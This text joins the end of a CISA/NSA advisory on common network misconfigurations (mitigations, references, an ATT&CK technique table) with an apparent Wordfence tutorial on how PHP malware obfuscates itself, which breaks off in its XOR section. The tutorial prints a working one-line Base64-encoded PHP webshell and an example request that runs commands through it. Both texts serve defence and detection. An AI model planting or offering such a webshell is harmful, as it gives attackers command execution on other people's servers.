Default configurations of software and applications: Default service permissions and configuration settingsConsider the user experience consequences of security settings: Each new setting increases the cognitive burden on end users and should be assessed in conjunction with the business benefit it derives. Ideally, a setting should not exist; instead, the most secure setting should be integrated into the product by default. When configuration is necessary, the default option should be broadly secure against common threats.
Improper separation of user/administrator privilege:Excessive account privileges,Elevated service account permissions, andNon-essential use of elevated accountsDesign products so that the compromise of a single security control does not result in compromise of the entire system. For example, ensuring that user privileges are narrowly provisioned by default and ACLs are employed can reduce the impact of a compromised account. Also, software sandboxing techniques can quarantine a vulnerability to limit compromise of an entire application.Automatically generate reports for:Administrators of inactive accounts. Prompt administrators to set a maximum inactive time and automatically suspend accounts that exceed that threshold.Administrators of accounts with administrator privileges and suggest ways to reduce privilege sprawl.Automatically alert administrators of infrequently used services and provide recommendations for disabling them or implementing ACLs.
Insufficient internal network monitoring Provide high-quality audit logs to customers at no extra charge. Audit logs are crucial for detecting and escalating potential security incidents. They are also crucial during an investigation of a suspected or confirmed security incident. Consider best practices such as providing easy integration with a security information and event management (SIEM) system with application programming interface (API) access that uses coordinated universal time (UTC), standard time zone formatting, and robust documentation techniques.
Lack of network segmentationEnsure products are compatible with and tested in segmented network environments.
Poor patch management: Lack of regular patchingTake steps to eliminate entire classes of vulnerabilities by embedding security controls into product architecture from the start of development and throughout the SDLC by following best practices in NIST’s SSDFSP 800-218.[54] Pay special attention to:Following secure coding practices [SSDF PW 5.1]. Use memory-safe programming languages where possible, parametrized queries, and web template languages.Conducting code reviews [SSDF PW 7.2, RV 1.2] against peer coding standards, checking for backdoors, malicious content, and logic flaws.Testing code to identify vulnerabilities and verify compliance with security requirements [SSDF PW 8.2].Ensure that published CVEs include root cause or common weakness enumeration (CWE) to enable industry-wide analysis of software security design flaws.
Poor patch management: Use of unsupported operating OSs and outdated firmwareCommunicate the business risk of using unsupported OSs and firmware in plain, understandable language.
Bypass of system access controlsProvide sufficient detail in audit records to detect bypass of system controls and queries to monitor audit logs for traces of such suspicious activity (e.g., for when an essential step of an authentication or authorization flow is missing).
Weak or Misconfigured MFA Methods: Misconfigured Smart Cards or Tokens Fully support MFA for all users, making MFA the default rather than an opt-in feature. Utilize threat modeling for authentication assertions and alternate credentials to examine how they could be abused to bypass MFA requirements.
Weak or Misconfigured MFA Methods: Lack of phishing-resistant MFAMandate MFA, ideally phishing-resistant, for privileged users and make MFA a default rather than an opt-in feature.[3]
Insufficient ACL on network shares and servicesEnforce use of ACLs with default ACLs only allowing the minimum access needed, along with easy-to-use tools to regularly audit and adjust ACLs to the minimum access needed.
Poor credential hygiene: easily crackable passwords Allow administrators to configure a password policy consistent with NIST’s guidelines—do not require counterproductive restrictions such as enforcing character types or the periodic rotation of passwords.[29]Allow users to use password managers to effortlessly generate and use secure, random passwords within products.
Poor credential hygiene: cleartext password disclosureSalt and hash passwords using a secure hashing algorithm with high computational cost to make brute force cracking more difficult.
Unrestricted code executionSupport execution controls within operating systems and applications “out of the box” by default at no extra charge for all customers, to limit malicious actors’ ability to abuse functionality or launch unusual applications without administrator or informed user approval.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, NSA and CISA recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. NSA and CISA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 12–Table 21).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

LEARN FROM HISTORY

The misconfigurations described above are all too common in assessments and the techniques listed are standard ones leveraged by multiple malicious actors, resulting in numerous real network compromises. Learn from the weaknesses of others and implement the mitigations above properly to protect the network, its sensitive information, and critical missions.

WORKS CITED

[1]   Joint Guide: Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-by-Design and -Default (2023), https://www.cisa.gov/sites/default/files/2023-06/principles_approaches_for_security-by-design-default_508c.pdf
[2]   CISA, Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[3]   CISA, Implementing Phishing-Resistant MFA, https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf
[4]   MITRE, ATT&CK for Enterprise, https://attack.mitre.org/versions/v13/matrices/enterprise/
[5]   MITRE, D3FEND, https://d3fend.mitre.org/
[6]   CISA, Best Practices for MITRE ATT&CK Mapping, https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping
[7]   CISA, Decider Tool, https://github.com/cisagov/Decider/
[8]   CISA, Cyber Assessment Fact Sheet, https://www.cisa.gov/sites/default/files/publications/VM_Assessments_Fact_Sheet_RVA_508C.pdf
[9]   Joint CSA: Weak Security Controls and Practices Routinely Exploited for Initial Access, https://media.defense.gov/2022/May/17/2002998718/-1/-1/0/CSA_WEAK_SECURITY_CONTROLS_PRACTICES_EXPLOITED_FOR_INITIAL_ACCESS.PDF
[10]  Microsoft KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS), https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429
[11]  Raj Chandel, Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints, https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/
[12]  SpecterOps – Will Schroeder, Certified Pre-Owned, https://posts.specterops.io/certified-pre-owned-d95910965cd2
[13]  CISA, CSA: CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-059a
[14]  Joint CSA: Threat Actors Exploit Progress Telerik Vulnerabilities in Multiple U.S. Government IIS Servers, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-074a
[15]  Joint CSA: Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester, https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-320a
[16]  Joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite, https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-228a
[17]  Microsoft, How to verify that MS17-010 is installed, https://support.microsoft.com/en-us/topic/how-to-verify-that-ms17-010-is-installed-f55d3f13-7a9c-688c-260b-477d0ec9f2c8
[18]  Microsoft, Microsoft Security Bulletin MS08-067 – Critical Vulnerability in Server Service Could Allow Remote Code Execution (958644), https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067
[19]  Joint CSA: Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization, https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-277a
[20]  CISA, Malware Analysis Report: 10365227.r1.v1, https://www.cisa.gov/sites/default/files/2023-06/mar-10365227.r1.v1.clear_.pdf
[21]  Joint CSA: #StopRansomware: BianLian Ransomware Group, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a
[22]  CISA Analysis Report: FiveHands Ransomware, https://www.cisa.gov/news-events/analysis-reports/ar21-126a
[23]  Snaffler, https://github.com/SnaffCon/Snaffler
[24]  CISA, Cross-Sector Cybersecurity Performance Goals, https://www.cisa.gov/cross-sector-cybersecurity-performance-goals
[25]  Defense Information Systems Agency (DISA), Security Technical Implementation Guides (STIGs), https://public.cyber.mil/stigs/
[26]  NSA, Network Infrastructure Security Guide, https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[27]  NSA, Actively Manage Systems and Configurations, https://media.defense.gov/2019/Sep/09/2002180326/-1/-1/0/Actively%20Manage%20Systems%20and%20Configurations.docx%20-%20Copy.pdf
[28]  NSA, Cybersecurity Advisories & Guidance, https://www.nsa.gov/cybersecurity-guidance
[29]  National Institute of Standards and Technologies (NIST), NIST SP 800-63B: Digital Identity Guidelines: Authentication and Lifecycle Management, https://csrc.nist.gov/pubs/sp/800/63/b/upd2/final
[30]  Microsoft, Uninstall-AdcsWebEnrollment, https://learn.microsoft.com/en-us/powershell/module/adcsdeployment/uninstall-adcswebenrollment
[31]  Microsoft, KB5021989: Extended Protection for Authentication, https://support.microsoft.com/en-au/topic/kb5021989-extended-protection-for-authentication-1b6ea84d-377b-4677-a0b8-af74efbb243f
[32]  Microsoft, Network security: Restrict NTLM: NTLM authentication in this domain, https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain
[33]  Microsoft, Network security: Restrict NTLM: Incoming NTLM traffic, https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-incoming-ntlm-traffic
[34]  Microsoft, How to disable the Subject Alternative Name for UPN mapping, https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/disable-subject-alternative-name-upn-mapping
[35]  Microsoft, Overview of Server Message Block signing, https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing
[36]  Microsoft, SMB signing required by default in Windows Insider, https://aka.ms/SmbSigningRequired
[37]  NSA, Defend Privileges and Accounts, https://media.defense.gov/2019/Sep/09/2002180330/-1/-1/0/Defend%20Privileges%20and%20Accounts%20-%20Copy.pdf
[38]  NSA, Advancing Zero Trust Maturity Throughout the User Pillar, https://media.defense.gov/2023/Mar/14/2003178390/-1/-1/0/CSI_Zero_Trust_User_Pillar_v1.1.PDF
[39]  NSA, Continuously Hunt for Network Intrusions, https://media.defense.gov/2019/Sep/09/2002180360/-1/-1/0/Continuously%20Hunt%20for%20Network%20Intrusions%20-%20Copy.pdf
[40]  Joint CSI: Detect and Prevent Web Shell Malware, https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
[41]  NSA, Segment Networks and Deploy Application-aware Defenses, https://media.defense.gov/2019/Sep/09/2002180325/-1/-1/0/Segment%20Networks%20and%20Deploy%20Application%20Aware%20Defenses%20-%20Copy.pdf
[42]  Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, https://media.defense.gov/2020/Jul/23/2002462846/-1/-1/0/OT_ADVISORY-DUAL-OFFICIAL-20200722.PDF
[43]  NSA, Stop Malicious Cyber Activity Against Connected Operational Technology, https://media.defense.gov/2021/Apr/29/2002630479/-1/-1/0/CSA_STOP-MCA-AGAINST-OT_UOO13672321.PDF
[44]  NSA, Performing Out-of-Band Network Management, https://media.defense.gov/2020/Sep/17/2002499616/-1/-1/0/PERFORMING_OUT_OF_BAND_NETWORK_MANAGEMENT20200911.PDF
[45]  NSA, Update and Upgrade Software Immediately, https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update%20and%20Upgrade%20Software%20Immediately.docx%20-%20Copy.pdf
[46]  Microsoft, Microsoft Security Advisory 2871997: Update to Improve Credentials Protection and Management, https://learn.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997
[47]  CISA, Secure Cloud Business Applications Hybrid Identity Solutions Architecture, https://www.cisa.gov/sites/default/files/2023-03/csso-scuba-guidance_document-hybrid_identity_solutions_architecture-2023.03.22-final.pdf
[48]  CISA, Secure Cloud Business Applications (SCuBA) Project, https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project
[49]  NSA, Transition to Multi-factor Authentication, https://media.defense.gov/2019/Sep/09/2002180346/-1/-1/0/Transition%20to%20Multi-factor%20Authentication%20-%20Copy.pdf
[50]  Committee on National Security Systems (CNSS), CNSS Policy 15, https://www.cnss.gov/CNSS/issuances/Policies.cfm
[51]  NSA, NSA Releases Future Quantum-Resistant (QR) Algorithm Requirements for National Security Systems, https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/3148990/nsa-releases-future-quantum-resistant-qr-algorithm-requirements-for-national-se/
[52]  NSA, Enforce Signed Software Execution Policies, https://media.defense.gov/2019/Sep/09/2002180334/-1/-1/0/Enforce%20Signed%20Software%20Execution%20Policies%20-%20Copy.pdf
[53]  Joint CSI: Keeping PowerShell: Security Measures to Use and Embrace, https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF
[54]  NIST, NIST SP 800-218: Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities, https://csrc.nist.gov/publications/detail/sp/800-218/final

Disclaimer of Endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Trademarks

Active Directory, Microsoft, and Windows are registered trademarks of Microsoft Corporation.
MITRE ATT&CK is registered trademark and MITRE D3FEND is a trademark of The MITRE Corporation.
SoftPerfect is a registered trademark of SoftPerfect Proprietary Limited Company.
Telerik is a registered trademark of Progress Software Corporation.
VMware is a registered trademark of VMWare, Inc.
Zimbra is a registered trademark of Synacor, Inc.

Purpose

This document was developed in furtherance of the authoring cybersecurity organizations’ missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
General Cybersecurity Inquiries: Cybersecurity_Requests@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov 

To report suspicious activity contact CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Appendix: MITRE ATT&CK Tactics and Techniques

See Table 12–Table 21 for all referenced threat actor tactics and techniques in this advisory.

Technique TitleIDUse
Active Scanning: Vulnerability ScanningT1595.002Malicious actors scan victims for vulnerabilities that be exploited for initial access.
Gather Victim Host InformationT1592Malicious actors gather information on victim client configurations and/or vulnerabilities through vulnerabilities scans and searching the web.
Gather Victim Identity Information: CredentialsT1589.001Malicious actors find default credentials through searching the web.
Phishing for InformationT1598Malicious actors masquerade as IT staff and convince a target user to provide their MFA code over the phone to gain access to email and other organizational resources.
Technique TitleIDUse
External Remote ServicesT1133Malicious actors use default credentials for VPN access to internal networks.
Valid Accounts: Default AccountsT1078.001Malicious actors gain authenticated access to devices by finding default credentials through searching the web.Malicious actors use default credentials for VPN access to internal networks, and default administrative credentials to gain access to web applications and databases.
Exploit Public-Facing ApplicationT1190Malicious actors exploit CVEs in Telerik UI, VM Horizon, Zimbra Collaboration Suite, and other applications for initial access to victim organizations.
PhishingT1566Malicious actors gain initial access to systems by phishing to entice end users to download and execute malicious payloads.
Trust RelationshipT1199Malicious actors gain access to OT networks despite prior assurance that the networks were fully air gapped, with no possible connection to the IT network, by finding special purpose, forgotten, or even accidental network connections.
Technique TitleIDUse
Software Deployment ToolsT1072Malicious actors use default or captured credentials on software deployment tools to execute code and move laterally.
User ExecutionT1204Malicious actors gain initial access to systems by phishing to entice end users to download and execute malicious payloads or to run code on their workstations.
Command and Scripting InterpreterT1059Malicious actors use scripting languages to obscure their actions and bypass allowlisting.
Command and Scripting Interpreter: Visual BasicT1059.005Malicious actors use macros for initial access, persistence, and lateral movement.
Technique TitleIDUse
Account ManipulationT1098Malicious actors reset built-in administrative accounts via predictable, forgotten password questions.
Technique TitleIDUse
Valid AccountsT1078Malicious actors analyze topical and nested Active Directory groups to find privileged accounts to target.
Valid Accounts: Domain AccountsT1078.002Malicious actors obtain loaded domain credentials from printers and scanners and use them to move laterally from the network device.
Exploitation for Privilege EscalationT1068Malicious actors load vulnerable drivers and then exploit their known vulnerabilities to execute code in the kernel with the highest level of system privileges to completely compromise the device.
Technique TitleIDUse
Obfuscated Files or Information: Command ObfuscationT1027.010Malicious actors often use scripting languages to obscure their actions.
Technique TitleIDUse
Adversary-in-the-MiddleT1557Malicious actors force a device to communicate through actor-controlled systems, so they can collect information or perform additional actions.
Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayT1557.001Malicious actors execute spoofing, poisoning, and relay techniques if Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS), and Server Message Block (SMB) services are enabled in a network.
Brute Force: Password CrackingT1110.002Malicious actors capture user hashes and leverage dictionary wordlists and rulesets to extract cleartext passwords.
Credentials from Password StoresT1555Malicious actors gain access to and crack credentials from PFX stores, enabling elevation of privileges and lateral movement within networks.
Multi-Factor Authentication InterceptionT1111Malicious actors can obtain password hashes for accounts enabled for MFA with smart codes or tokens and use the hash via PtH techniques.
Multi-Factor Authentication Request GenerationT1621Malicious actors use “push bombing” against non-phishing resistant MFA to induce “MFA fatigue” in victims, gaining access to MFA authentication credentials or bypassing MFA, and accessing the MFA-protected system.
Steal Application Access TokenT1528Malicious actors can steal administrator account credentials and the authentication token generated by Active Directory when the account is logged into a compromised host.
Steal or Forge Authentication CertificatesT1649Unauthenticated malicious actors coerce an ADCS server to authenticate to an actor-controlled server, and then relay that authentication to the web certificate enrollment application to obtain a trusted illegitimate certificate.
Steal or Forge Kerberos Tickets: Golden TicketT1558.001Malicious actors who have obtained authentication certificates can use the certificate for Active Directory authentication to obtain a Kerberos TGT.
Steal or Forge Kerberos Tickets: KerberoastingT1558.003Malicious actors obtain and abuse valid Kerberos TGTs to elevate privileges and laterally move throughout an organization’s network.
Unsecured Credentials: Credentials in FilesT1552.001Malicious actors find cleartext credentials that organizations or individual users store in spreadsheets, configuration files, and other documents.
Technique TitleIDUse
Account DiscoveryT1087Malicious actors with valid domain credentials enumerate the AD to discover elevated accounts and where they are used.
File and Directory DiscoveryT1083Malicious actors use commands, such as net share, open source tools, such as SoftPerfect Network Scanner, or custom malware, such as CovalentStealer to discover and categorize files.Malicious actors search for text files, spreadsheets, documents, and configuration files in hopes of obtaining desired information, such as cleartext passwords.
Network Share DiscoveryT1135Malicious actors use commands, such as net share, open source tools, such as SoftPerfect Network Scanner, or custom malware, such as CovalentStealer, to look for shared folders and drives.
Technique TitleIDUse
Exploitation of Remote ServicesT1210Malicious actors can exploit OS and firmware vulnerabilities to gain unauthorized network access, compromise sensitive data, and disrupt operations.
Remote Services: SMB/Windows Admin SharesT1021.002If SMB signing is not enforced, malicious actors can use name resolution poisoning to access remote systems.
Use Alternate Authentication Material: Application Access TokenT1550.001Malicious actors with stolen administrator account credentials and AD authentication tokens can use them to operate with elevated permissions throughout the domain.
Use Alternate Authentication Material: Pass the HashT1550.002Malicious actors collect hashes in a network and authenticate as a user without having access to the user’s cleartext password.
Technique TitleIDUse
Data from Network Shared DriveT1039Malicious actors find sensitive information on network shares that could facilitate follow-on activity or provide opportunities for extortion.

Source :
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a

Know your Malware – A Beginner’s Guide to Encoding Techniques Used to Obfuscate Malware

Ram Gall
October 2, 2023

With the launch of Wordfence CLI, our high performance security scanner that can detect the vast majority of PHP malware targeting WordPress, Wordfence continues to emphasize the importance of malware detection and remediation. Malware targeting WordPress uses a variety of obfuscation techniques to avoid detection, and today’s post dives into some of the most common built-in PHP functionality malware often makes use of in order to do this.

What is Obfuscation?

Obfuscation is the process of concealing the purpose or functionality of code or data so that it evades detection and is more difficult for a human or security software to analyze, but still fulfills its intended purpose.

Obfuscation makes use of various types of encoding techniques, but is not exactly the same thing as encoding. There are countless legitimate uses for encoding data, including saving space through compression, transmitting data over a network, and packaging code so that it can be easily interpreted by programs in an expected format. Meanwhile obfuscation is intentionally designed to prevent understanding and detection by humans and security software.

Obfuscation is also different from encryption in that it can typically be reversed without a “key”, though there are some encoding techniques, such as XOR encoding, which do use keys and are used in both encryption and obfuscation.

Encoding Techniques

Since obfuscation often relies heavily on encoding techniques, It’s important to understand what these techniques look like, their typical legitimate use cases, and signs that they’re being used to hide something potentially malicious. In today’s article, we will cover some of the most commonly used encoding techniques, and teach you how to spot legitimate uses as well as potentially suspicious patterns.

Base64 Encoding

What is Base64 encoding?

Base64 encoding is widely used to send and store data. If you’ve ever played with Linux and tried to look at an executable file using the cat command, you might have noticed that your terminal starts acting very strangely. This is because binary data includes an enormous number of potential byte sequences, and software that’s not designed to interpret a particular file format can incorrectly interpret some of these sequences as commands.

Base64 encoding allows any data, including binary data, to be stored and transmitted as text which makes it very convenient for programs to talk to one another without being misunderstood, especially over a network.
It uses 26 lower-case letters, 26 upper-case letters, the digits 0-9, and the ‘+’ and ‘/’ symbols for a total of 64 characters, plus ‘=’ for padding.

Note that, unlike the Base 8(Octal) and Base 16(Hexadecimal) encodings we’ll cover later, base64 is not a direct representation of the underlying bytes. Instead, it converts their octal representations to Base 10(Decimal) and then uses a lookup table to assign a character value. You can find out more about this process in the Wikipedia article on Base64 encoding.

How is Base64 Encoding Used Legitimately?

You’ve likely seen base64 encoded data in the past, and it’s very easy to spot – for instance, SGVsbG8sIFdvcmxkIQ== decodes to “Hello, World!” and you can run the code snippet:

1<?php echobase64_decode('SGVsbG8sIFdvcmxkIQ==');

to see this in action.

PHP uses the base64_encode and base64_decode functions to encode and decode Base64-encoded data. Many applications store information in this format as data files or database entries, so the presence of the base64_encode and base64_decode functions in a PHP file are often no cause for concern on their own.

How is Base64 Encoding Used by Malware?

It is significantly less common for base64-encoded data to be hardcoded into a PHP file, especially one that executes it as code.

For example,

1<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));

is a minimalist webshell. The eval function tells PHP to execute whatever is decoded by the base64_decode function as PHP, so once the  string of data c3lzdGVtKCRfR0VUWydjbWQnXSk7 is decoded it will execute system($_GET['cmd']);.

This uses the system function to run the contents of the cmd query string parameter as a terminal command. This means that if this webshell was installed on a site as webshell.php, an attacker could go to http://victimsite.com/webshell.php?cmd=ls to run the ls command and list all files in the directory.

Byte Escape Sequences

What are Byte Escape Sequences?

You might already be familiar with some escape sequences, such as \n to denote a new line of text, or \t to denote a tab, but they can also be used to represent binary data.

PHP uses byte escape sequences for this, and they are similar to base64 encoding in that they are a way to represent both text and binary data as text strings.

There are two commonly used byte escape sequence formats used in PHP – Hexadecimal, which uses Base 16, and Octal, which uses Base 8.

Hex encoded byte sequences are represented by \x followed by two characters, which can be any digit from 0 through 9 and the letters ‘a’ through ‘f’.

For example, the text “Hello, World!” can be represented as the following escaped sequence:
\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21.

Octal byte sequences are represented by ‘\’ followed by a one to three digit number from 0 through 377.

For example, the text “Hello, World!” can be represented as the following escaped sequence:
\110\145\154\154\157\54\40\127\157\162\154\144\41.

If you’ve ever worked with Linux filesystem permissions, they are also stored in octal format, for example ‘777’ which denotes that all users have permission to read, write, and execute.

PHP also uses unicode escape sequences, which begin with \u and can be used to encode unicode characters used for international languages as well as as emojis. While unicode escape sequences can be used to bypass security systems, they are less commonly used in malware, and are beyond the scope of this article. If you’d like to learn more about unicode escape sequences, a good resource can be found here. Note that the article is targeted at JavaScript developers, but provides an excellent overview of the concepts involved.

How are Byte Escape Sequences Used Legitimately?

Byte escape sequences are used to store binary information, and many PHP applications use them to store encryption keys and to perform operations that can be sped up by handling binary data directly. As such they are most often found in code libraries for handling encryption and text manipulation and conversion.

How are Byte Escape Sequences Used by Malware?

PHP has an unusual property – any byte escape sequence surrounded by double quotes(“”) is automatically parsed. Moreover, PHP can interpret any valid combination of text, hex escape sequences, octal escape sequences, and unicode escape sequences in a single string. In other words, “He\x6c\x6c\x6f\54\40\127\157rld!” will be processed by PHP as “Hello, World!”. You can actually test this using the following code snippet:

1<?php echo"He\x6c\x6c\x6f\54\40\127\157rld!";

The fact that PHP can easily interpret such sequences but humans usually cannot read them make byte escape sequences ideal for obfuscation. It is very unusual for legitimate software to use mixed encodings in this manner, and so it is a very strong indicator of malicious activity.

Character Encoding

What is Character Encoding?

Character encoding is similar to hex encoding but more limited in that it can only be used to represent text and a very limited subset of control characters. PHP uses the chr function to decode a number between 0 and 255 into a single character, and the ord function to encode a single character back into a numeric value. This is slightly complicated by the fact that the chr function accepts decimal, hexadecimal, and octal formatted numbers, but decimal format is most commonly used.

The following code provides an example of character encoding utilizing chr, and would output “Hello, World!” when executed:

1<?php echochr(72).chr(101).chr(108).chr(108).chr(111).chr(44).chr(32).chr(87).chr(111).chr(114).chr(108).chr(100).chr(33);

Legitimate use of character encoding is somewhat rare in PHP, though it is occasionally used for text manipulation and inserting control characters such as null bytes in place of hex or octal encoding. It is far more commonly used in languages such as JavaScript where the code is often publicly visible.

One common use case is “reverse obfuscation” where character encoding in JavaScript is used to render an email address on a site in a way that a human can read it once the code is executed, but that older automated tools that can only view the uninterpreted code have difficulty scraping.

How is Character Encoding Used by Malware?

Character encoding is used by malware in almost exactly the same way as byte escape sequences, that is, to make the code more difficult for a human to read and security tools to interpret. It is frequently used by malware to hide malicious URLs that the malware then sends sensitive information or redirects visitors to.

Substitution Ciphers(rot13, etc.)

What are Substitution Ciphers?

One of the simplest ways to obfuscate content is to simply substitute letters for other letters. This method is known as a Caesar cipher, and most programming languages have a built-in method to do this, the most popular of which is simply to replace each letter with the one halfway across the alphabet from it, or 13 steps away. As such, “Hello, World!” becomes “Uryyb, Jbeyq!” The rot13 substitutions can be seen in the following table:

A => N

B => O

C => P

D => Q

E => R

F => S

G => T

H => U

I => V

J => W

K => X

L => Y

M => Z

N => A

O => B

P => C

Q => D

R => E

S => F

T => G

U => H

V => I

W => J

X => K

Y => L

Z => M

How are Substitution Ciphers Used Legitimately?

It is uncommon for substitution ciphers to be used in well-architected code, but some legitimate software does use it as a workaround when it has issues running in an environment where naive or poorly configured security software might hinder its intended execution, or when a value needs to be stored that won’t be interfered with by code that is looking for that value. In other words, it is almost always used to evade detection of some kind even by legitimate software.

How are Substitution Ciphers Used by Malware?

Malware frequently uses the str_rot13 function to obfuscate malicious URLs that it sends sensitive data, redirects visitors to, or receives commands from, that might be on a blocklist. It is a relatively strong signal of suspicious behavior, though it is not strong enough on its own to mark a file as malicious.

Compression (gzencoding, zlib encoding, and more)

What is Compression?

Compression refers to the process of compacting data, making it take up less space for storage and less bandwidth for transport. Compression algorithms are fairly complex, though many of them work in part by finding repeated patterns and storing references to them rather than the entire data.

As a very basic example, the text “aaaaabbbccca” could potentially be compressed to “a5b3c3a”. Real compression algorithms are significantly more sophisticated, and there are many other steps involved depending on the type of data being compressed.

There are a number of commonly used compression algorithms, including ones specifically designed to compress images, movies, and audio files. Media compression algorithms are often “lossy” and do not perfectly reconstruct the original data so much as produce output that looks or sounds similar enough to a human that it’s hard to notice.

In today’s article we are going to focus specifically on the functions most commonly used by PHP to compress and decompress arbitrary data, which use “lossless” compression and can perfectly reconstruct the original data from the archived format.

How is Compression used legitimately?

Most people are familiar with zip files, and many websites use compression to load large amounts of content more quickly while saving money on outbound data transfer. The most common compression algorithms used in PHP are Zlib and Gzip, both of which are handled by the Zlib module, though BZip2 is also fairly common.

Note that Gzip is not exactly the same thing as the zip files you may be familiar with as it can only compress single files, while modern zip archives can be configured to use many different algorithms including the one used by Gzip. There is a workaround to the single file problem, however – if you’ve ever seen a file with a .tar.gz extension, It is very common to combine multiple files into a “tarball” and then compress the combined file using gzip.

Gzip uses an algorithm called “DEFLATE” which tends to be very fast and is often used by web servers to compress outbound data over the network. This process is effectively transparent – if configured correctly, a web server will send out a compressed page and your browser will automatically and transparently decompress and load it. Zlib and Bzip2 are slower but attain higher compression ratios so they’re often used to store archive files.

How is Compression Used by Malware?

Compressed files have a unique advantage for malicious actors – it is difficult to spot particular data in them, especially at high compression ratios. However, they also can’t easily be executed directly in the context of PHP. Compression isn’t limited to just files – any data, including text strings can be compressed. This means that an attacker can use compression to hide their code in a file and uncompress and execute it at runtime using, for instance, the gzinflate and gzuncompress functions.

There is one hurdle, however, which is that compressed files contain binary data, that is, data that can’t be directly represented as a text string. One solution to this is to load the compressed data from a separate, appropriately formatted file. Since attackers can often only upload a single file to take control of a site, this can be impractical.

While it is possible to mix string and raw binary data in a single file, reading these separately often requires knowing exactly where in the file everything is, which may be difficult if the file was uploaded or written by exploiting a vulnerability.

Earlier in the article, we discussed ways to safely store binary data in a text string, such as base64 encoding and byte escape sequences. These become significantly more useful to attackers when combined with compression algorithms, and we’ll examine this use case shortly.

XOR Encoding

What is XOR Encoding?

XOR (eXclusive OR) is a simple way to mix two sets of data together at the binary level, meaning it operates on the 1s and 0s that make up data. Think of it as a lightweight disguise for data. It takes two bits (a 1 or a 0) and compares them. If the bits are the same, it outputs 0; if they’re different, it outputs 1.

Here’s an example:

0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0

In PHP, you would use the ^ symbol to do an XOR operation between two characters. What actually happens is that the computer looks at the binary form of these characters and does the XOR bit by bit.

For example, the letter ‘A’ in binary is 01000001, and ‘B’ is 01000010. When you XOR them:

01000001
01000010
——–
00000011

You get a jumbled mix of the two. What makes XOR particularly useful is that if you take this result and do the exact same XOR operation on it again with ‘B’, you’ll get back ‘A’.

How is XOR Encoding Used Legitimately?

